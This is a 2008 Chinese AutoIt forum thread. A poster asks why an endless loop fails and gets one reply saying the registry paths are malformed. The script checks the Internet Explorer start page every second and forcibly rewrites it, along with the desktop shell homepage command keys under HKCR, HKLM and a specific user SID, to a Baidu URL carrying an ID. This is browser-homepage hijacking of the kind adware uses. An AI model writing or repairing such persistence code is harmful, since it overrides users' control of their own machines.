找回密码
 加入
搜索
查看: 1360|回复: 1

循环出错,望大侠指证!

[复制链接]
发表于 2008-12-5 12:06:47 | 显示全部楼层 |阅读模式
读取根目录下的config.ini,我想实现的功能是:不断的检测RegRead("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page")的值,如果不是$wz&$user
就把$wz&$user写入注册表,如果是,测不写!
$user = IniRead ( "config.ini", "config", "ID","1033")
$wz = "www.baidu.com/?"
$asw = '"C:\Program Files\Internet Explorer\iexplore.exe"'
$string = RegRead("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page")
$Str = $wz&$user
While 1
If StringInStr($String, $Str) = 0 Then
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ", $asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page","REG_SZ",$wz&$user)
RegWrite("HKEY_USERSS-1-5-21-753793252-3823303168-347332785-500SoftwareMicrosoftInternet ExplorerMain","Start Page",$asw&$wz&$user)
EndIf
sleep(1000)
WEnd
发表于 2008-12-5 17:38:22 | 显示全部楼层
RegWrite中的注册表路径不对。
For Examlie:
RegRead("HKEY_CURRENT_USER\Software\MicrosoftInternet\ ExplorerMain","Start Page")
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-11-15 23:22 , Processed in 0.077300 second(s), 23 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表